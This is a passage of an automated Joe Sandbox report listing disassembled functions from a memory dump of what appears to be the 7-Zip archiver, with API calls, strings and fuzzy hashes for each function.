Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: CriticalSectionfreememmove$EnterExceptionLeaveThrow
String ID:
API String ID: 202075352-0
Opcode ID: c1de02b68f69ecc8d262e9e614d11b3dc807500ecf55debccae22723f41cb44a
Instruction ID: 2583a6498da78d347495fd5d7e2ed54545f3cfdd5e4fe9954ca989ed0defea84
Opcode Fuzzy Hash: c1de02b68f69ecc8d262e9e614d11b3dc807500ecf55debccae22723f41cb44a
Instruction Fuzzy Hash: 3E21A177220654C7DB60DF2AD445A6C7320F381BE5F90132AAE39076A8DF35C886CB40

Function 00C2D078 Relevance: 8.8, APIs: 7, Instructions: 53COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C2D0AB
free.MSVCRT ref: 00C2D0B8
free.MSVCRT ref: 00C2D0EB
free.MSVCRT ref: 00C2D0F3
free.MSVCRT ref: 00C2D103
free.MSVCRT ref: 00C2D10D
free.MSVCRT ref: 00C2D117

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: e14598800cbc14b63090d73ae88cee87996ce6beccad5b2fb40a6b4c20696fd9
Instruction ID: d4f0841417ed6bbfe277cac0feca6f85398f0c6443f4806eb2baba68621f974f
Opcode Fuzzy Hash: e14598800cbc14b63090d73ae88cee87996ce6beccad5b2fb40a6b4c20696fd9
Instruction Fuzzy Hash: D0113C33202A90C9CB10AF35D85566D2320EB86FA8F2852729F6E577A9CE20CC46C344

Function 00C294A8 Relevance: 8.8, APIs: 7, Instructions: 53COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C294DB
free.MSVCRT ref: 00C294E3
free.MSVCRT ref: 00C294F0
free.MSVCRT ref: 00C2951C
free.MSVCRT ref: 00C29525
free.MSVCRT ref: 00C2952D
free.MSVCRT ref: 00C2953A

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 5256221f962b44b0bae35b382dbe45db83359140e8ddd7a193f45a58e1d598c8
Instruction ID: 81cd0c6b32f6f9f8dfb9de8dd86e3e362118ab075ba12065bccf07b4f7fbda20
Opcode Fuzzy Hash: 5256221f962b44b0bae35b382dbe45db83359140e8ddd7a193f45a58e1d598c8
Instruction Fuzzy Hash: 8F016533701AA4C9CB21EE26ED5516C6321EB95FE4B191266DF3D1B799DE30CD42C380

Function 00C3ECDC Relevance: 8.8, APIs: 7, Instructions: 53COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C3ED0F
free.MSVCRT ref: 00C3ED1C
free.MSVCRT ref: 00C3ED29
free.MSVCRT ref: 00C3ED59
free.MSVCRT ref: 00C3ED61
free.MSVCRT ref: 00C3ED6E
free.MSVCRT ref: 00C3ED78

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: a7c0efb318bb74a8d890d53e5fdb20e58762af4d74ce4d6a5953f08b0b6776bf
Instruction ID: 9d9cd24c23539cd228f526d96bf02b17ca16c69584c49a1b98a46168459853e6
Opcode Fuzzy Hash: a7c0efb318bb74a8d890d53e5fdb20e58762af4d74ce4d6a5953f08b0b6776bf
Instruction Fuzzy Hash: F6116133712A50C5CA20AF36D85466D2310EB83FA4F085272AF6D5B3E9CE20CC46C380

Function 00C46B3C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00C46B7C

Part of subcall function 00C06618: FormatMessageW.KERNEL32 ref: 00C06676
Part of subcall function 00C06618: LocalFree.KERNEL32 ref: 00C06698

Part of subcall function 00C02320: free.MSVCRT ref: 00C0237E
Part of subcall function 00C02320: fputs.MSVCRT ref: 00C023B8
Part of subcall function 00C02320: free.MSVCRT ref: 00C023C4

Part of subcall function 00C02300: fputc.MSVCRT ref: 00C02311

free.MSVCRT ref: 00C46BAE
fputs.MSVCRT ref: 00C46BCC

Strings

----------------, xrefs: 00C46BC5
: , xrefs: 00C46B75

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: fputsfree$FormatFreeLocalMessagefputc
String ID: : $----------------
API String ID: 1215563195-4071417161
Opcode ID: a1891ed469a183347d2f6cf8ed5e79c02ed55b8146c20c8c025d0fedb9797568
Instruction ID: 2fea3ff1d462514522d328782e3bbaaa2399959973646f13dd5164f1e757f36f
Opcode Fuzzy Hash: a1891ed469a183347d2f6cf8ed5e79c02ed55b8146c20c8c025d0fedb9797568
Instruction Fuzzy Hash: 9001C476700A0086DA20EF26E894B2E3320F785BE4F188325EF6E073A4CF38D846D300

Function 00C4430C Relevance: 8.8, APIs: 7, Instructions: 40COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C4431C
free.MSVCRT ref: 00C44325
free.MSVCRT ref: 00C4432E
free.MSVCRT ref: 00C44337
free.MSVCRT ref: 00C44362
free.MSVCRT ref: 00C4436B
free.MSVCRT ref: 00C44373

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 68bdc44b06e71d8ca899e980b2fc608d9b8ec41ef539896fcf9a05c16de42b60
Instruction ID: 40b323bb160edb44f11a1d75ed1150506c1b948192f7187b542488d2e9a389a2
Opcode Fuzzy Hash: 68bdc44b06e71d8ca899e980b2fc608d9b8ec41ef539896fcf9a05c16de42b60
Instruction Fuzzy Hash: C0F0EC33B11A64C9CB15AF36DD9516C2720AB96FE47195162AF2D5B3A9CE20CC43D3C0

Function 00C4BCA4 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 39COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00C4BCD4

Part of subcall function 00C02320: free.MSVCRT ref: 00C0237E
Part of subcall function 00C02320: fputs.MSVCRT ref: 00C023B8
Part of subcall function 00C02320: free.MSVCRT ref: 00C023C4

fputs.MSVCRT ref: 00C4BD17

Part of subcall function 00C02300: fputc.MSVCRT ref: 00C02311

free.MSVCRT ref: 00C4BD2B

Strings

Write SFX: , xrefs: 00C4BCCD
: , xrefs: 00C4BCE9

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: fputsfree$fputc
String ID: : $Write SFX:
API String ID: 3584323934-2530961540
Opcode ID: 2aff07aef23fae9920ced389d97e2e1f62bb88a79c222afd3b495df10a0729ce
Instruction ID: 8daeadb696280d075d1137489680313a33db0b210eb7188d121af02fb3a7c02b
Opcode Fuzzy Hash: 2aff07aef23fae9920ced389d97e2e1f62bb88a79c222afd3b495df10a0729ce
Instruction Fuzzy Hash: 6601F4A630094081EA20DF25E85475E5321FB84FF4F589731AE6E477F9DE28C98BC710

Function 00C4BB18 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 34COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00C4BB49
fputs.MSVCRT ref: 00C4BB76

Part of subcall function 00C02568: free.MSVCRT ref: 00C025B5
Part of subcall function 00C02568: free.MSVCRT ref: 00C025C0

Strings

Creating archive: , xrefs: 00C4BB3E
Updating archive: , xrefs: 00C4BB34
StdOut, xrefs: 00C4BB6C

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: fputsfree
String ID: Creating archive: $StdOut$Updating archive:
API String ID: 2581285248-1319951512
Opcode ID: 5f5adb3b3a84b5c65e0bca1f05b3611791ef6013b907f1f29a1bbb4614530b65
Instruction ID: 1a244b8e7b867e2370e7f8622c0449793b6d472e4f4b83d423df7a4eb9536b81
Opcode Fuzzy Hash: 5f5adb3b3a84b5c65e0bca1f05b3611791ef6013b907f1f29a1bbb4614530b65
Instruction Fuzzy Hash: 3CF062A5301E4581EE05DF26E99875C6322FB44FD5F48D5329D0E0B768DF28C8D9C300

Function 00C0ECDC Relevance: 8.8, APIs: 7, Instructions: 21COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C0ECE9
free.MSVCRT ref: 00C0ECF2
free.MSVCRT ref: 00C0ECFB
free.MSVCRT ref: 00C0ED04
free.MSVCRT ref: 00C0ED0D
free.MSVCRT ref: 00C0ED16
free.MSVCRT ref: 00C0ED1F

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: a6ffee1f7beb7570a11c572b2a51825e1f9c21a757c731fd3d53281771c8903a
Instruction ID: 46edaf5e172005bda8a94032d5d529f267b620172bfb08db13f06725c2ac269f
Opcode Fuzzy Hash: a6ffee1f7beb7570a11c572b2a51825e1f9c21a757c731fd3d53281771c8903a
Instruction Fuzzy Hash: 8CE0D532610624C1DB14FF76DCAA12C2324EBD5F8871420A39F2E8B3A5CD20CC52E3C4

Function 00C13F0C Relevance: 7.7, APIs: 6, Instructions: 191COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C13F5A
free.MSVCRT ref: 00C13F62
free.MSVCRT ref: 00C13FC0
free.MSVCRT ref: 00C13FC8
free.MSVCRT ref: 00C14007
free.MSVCRT ref: 00C1400F

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 167d3dd7d05659914fe51c99b092b0523b74a4040e8688ef161580a56a1d8b48
Instruction ID: f1327b7c91e087d87189cbce7d29820a001b707dec224740f9c7ab6021d9869d
Opcode Fuzzy Hash: 167d3dd7d05659914fe51c99b092b0523b74a4040e8688ef161580a56a1d8b48
Instruction Fuzzy Hash: 6F814573305AC085CB14EF2AD8842ED77A2F386F98F484122DE690B769CF34C986D310

Function 00C2E954 Relevance: 7.7, APIs: 4, Strings: 1, Instructions: 182COMMON

Download Yara Rule

Strings

Q, xrefs: 00C2E9E8

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID:
String ID: Q
API String ID: 0-3463352047
Opcode ID: 708d1e99ea4dbab6444f2f0d64f520fcdf94141e7dceb2e288505dbe970de39d
Instruction ID: c74b21cac4ed33c7e697d77d755a51cc7160234e7bf194eb942b7b43e95fc57e
Opcode Fuzzy Hash: 708d1e99ea4dbab6444f2f0d64f520fcdf94141e7dceb2e288505dbe970de39d
Instruction Fuzzy Hash: 6A617572318BA0C3CB20DF25E48056EB761F7C4B94F545112EB9A57B98DF78C985DB04

Function 00C188EC Relevance: 7.6, APIs: 1, Strings: 4, Instructions: 138COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C18930

Strings

gran:, xrefs: 00C18A7B
page:, xrefs: 00C18A30
act:, xrefs: 00C189E3
cpus:, xrefs: 00C18A0D

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free
String ID: act:$ cpus:$ gran:$ page:
API String ID: 1294909896-454015223
Opcode ID: 76ce10e08a2d6057f8ef9cd9582c59867cc4f4bd53d0f5b9092ac68896eb7e3a
Instruction ID: 2ad8c09a457af26f2d5e4d153cf11879d9fd83eb5f950888dd77ad9115b1e05d
Opcode Fuzzy Hash: 76ce10e08a2d6057f8ef9cd9582c59867cc4f4bd53d0f5b9092ac68896eb7e3a
Instruction Fuzzy Hash: 1351DA65344B0192DE29EB11E9553EC2321EB4ABD0F889232DE1A07B98DF78D9D5F740

Function 00C10160 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 123COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C101D7
_CxxThrowException.MSVCRT ref: 00C102EA

Part of subcall function 00C0FD30: _CxxThrowException.MSVCRT ref: 00C0FE50

_CxxThrowException.MSVCRT ref: 00C1031F

Strings

There is no second file name for rename pair:, xrefs: 00C10302
Empty file path, xrefs: 00C102CD

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: ExceptionThrow$free
String ID: Empty file path$There is no second file name for rename pair:
API String ID: 3129652135-1725603831
Opcode ID: 5b9fd34c360db10dc0dd9c3cf23a0ee1fe89007478e2cf63242fd60c53b15542
Instruction ID: 11b01224716774318b16c20e8bcc90f9d0194b9a6cad0530def62c43ad3214bd
Opcode Fuzzy Hash: 5b9fd34c360db10dc0dd9c3cf23a0ee1fe89007478e2cf63242fd60c53b15542
Instruction Fuzzy Hash: D241A272204684C5CA30DB19E84479E7720F3967B4F604712EEB907BE9DB79C5D6EB40

Function 00C203BC Relevance: 7.6, APIs: 5, Instructions: 108COMMON

Download Yara Rule

APIs

GetFileSecurityW.ADVAPI32 ref: 00C20415
GetLastError.KERNEL32 ref: 00C20448

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: ErrorFileLastSecurity
String ID:
API String ID: 555121230-0
Opcode ID: dbe237cfadc90cb09746e3018bc91a680bb73bee37176d8e7191999cda9ad572
Instruction ID: 10969b09593219cff88a1b8b6e43b2bc3a6cdf4708f967040266d601d8da7e13
Opcode Fuzzy Hash: dbe237cfadc90cb09746e3018bc91a680bb73bee37176d8e7191999cda9ad572
Instruction Fuzzy Hash: 6B418F33300AA496C760DF26E8447AD73A6F384B98F698136DE5A8BB15DF30C886C751

Function 00C3E580 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C3E5C5
free.MSVCRT ref: 00C3E669

Strings

#, xrefs: 00C3E677

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free
String ID: #
API String ID: 1294909896-1885708031
Opcode ID: b0f2d60c1820faef58548d21b8c4e06079b1368b0e0d09608c7fde7dbc05df21
Instruction ID: 490f5492a9d4f7ba2f57622b6277ae60688942c45b56c195f780824dcde49d50
Opcode Fuzzy Hash: b0f2d60c1820faef58548d21b8c4e06079b1368b0e0d09608c7fde7dbc05df21
Instruction Fuzzy Hash: FC31A323224A9881CB20DF16995545EA764F7D47E4F540222FEAF4BBE4CE38CD86CB00

Function 00C03CBC Relevance: 7.6, APIs: 5, Instructions: 94COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,?,?,FFFFFFFF,?,?,?,00C03E32), ref: 00C03D18
GetLastError.KERNEL32(?,?,?,FFFFFFFF,?,?,?,00C03E32), ref: 00C03D25
_CxxThrowException.MSVCRT ref: 00C03D4E
WideCharToMultiByte.KERNEL32(?,?,?,FFFFFFFF,?,?,?,00C03E32), ref: 00C03DC1
_CxxThrowException.MSVCRT ref: 00C03DFA

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: ByteCharExceptionMultiThrowWide$ErrorLast
String ID:
API String ID: 2296236218-0
Opcode ID: a638d3b70a987569a11810fe08a21e1709710d38c6574b86da1fec5f089001b5
Instruction ID: 12d1c0304f5a72f3382f61908fb85b4c5b0115d06d77e719091a208ca913fe34
Opcode Fuzzy Hash: a638d3b70a987569a11810fe08a21e1709710d38c6574b86da1fec5f089001b5
Instruction Fuzzy Hash: 73311E73704BC18ADB30CF25E48475EBBA9F788B94F558225DB9963B20DB38C982D701

Function 00C47080 Relevance: 7.6, APIs: 6, Instructions: 77COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C470EC
free.MSVCRT ref: 00C470F4
free.MSVCRT ref: 00C47101
free.MSVCRT ref: 00C4712E
free.MSVCRT ref: 00C47136
free.MSVCRT ref: 00C47143

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: b578af894f36024e1f437a4cb75a0fc809cf4cc32df710a6eb33f0fd421a2ea5
Instruction ID: 81f994c1f83bd2bd8cc5c358f0dd17ac3eb6eb8fd84b22a897ba03fb5252e8c2
Opcode Fuzzy Hash: b578af894f36024e1f437a4cb75a0fc809cf4cc32df710a6eb33f0fd421a2ea5
Instruction Fuzzy Hash: 87212467602B408ACB25AF26D85472D6320FB85FA8F294322DE3E1B798CF35C902C350

Function 00C06778 Relevance: 7.6, APIs: 5, Instructions: 74filetimeCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 00C067D5
CreateFileW.KERNEL32 ref: 00C06831
free.MSVCRT ref: 00C0683F
SetFileTime.KERNEL32 ref: 00C06856
CloseHandle.KERNEL32 ref: 00C06864

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: File$Create$CloseHandleTimefree
String ID:
API String ID: 234454789-0
Opcode ID: 2c2437ba34a7087855f8770e7a2108f964c72db211cbb1ecc9a6ff53a80baa42
Instruction ID: d717eb7899e35104474baac26fc633d6a8c05b5aef0fa7f5629209c7848a5fd7
Opcode Fuzzy Hash: 2c2437ba34a7087855f8770e7a2108f964c72db211cbb1ecc9a6ff53a80baa42
Instruction Fuzzy Hash: AB21D53230468086E620DF16F964B5E6721F385BF8F544325EEB943BE8CB38C99AD740

Function 00C2BF88 Relevance: 7.6, APIs: 6, Instructions: 70COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 00C2BFB3
memcmp.MSVCRT ref: 00C2BFD1
memcmp.MSVCRT ref: 00C2BFE7

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 1ace886e5cc3e700f187fce602ca08dcd48d7174a31f1a447d5d23bb38321506
Instruction ID: e65c68f6c8364ab2d603c30fa251aa5809336b9628b694908e3a5d13c70aeaed
Opcode Fuzzy Hash: 1ace886e5cc3e700f187fce602ca08dcd48d7174a31f1a447d5d23bb38321506
Instruction Fuzzy Hash: F711D3B5345BA091EB04DF27ED913AC2321AB09FD5FC54520CE0A87B06EF78DA86E305

Function 00C28290 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 00C0B544: RegOpenKeyExW.ADVAPI32(?,?,?,?,?,?,?,?,Path64,00C282CA), ref: 00C0B56F

Part of subcall function 00C0B45C: RegQueryValueExW.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,80000001), ref: 00C0B4AA
Part of subcall function 00C0B45C: RegQueryValueExW.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,80000001), ref: 00C0B4F8

free.MSVCRT ref: 00C28343

Part of subcall function 00C03404: free.MSVCRT ref: 00C03431
Part of subcall function 00C03404: memmove.MSVCRT ref: 00C0344C

Part of subcall function 00C08624: free.MSVCRT ref: 00C086A9

free.MSVCRT ref: 00C2832B
free.MSVCRT ref: 00C28336

Strings

7z.dll, xrefs: 00C28307
Software\7-zip, xrefs: 00C282B7

Memory Dump Source

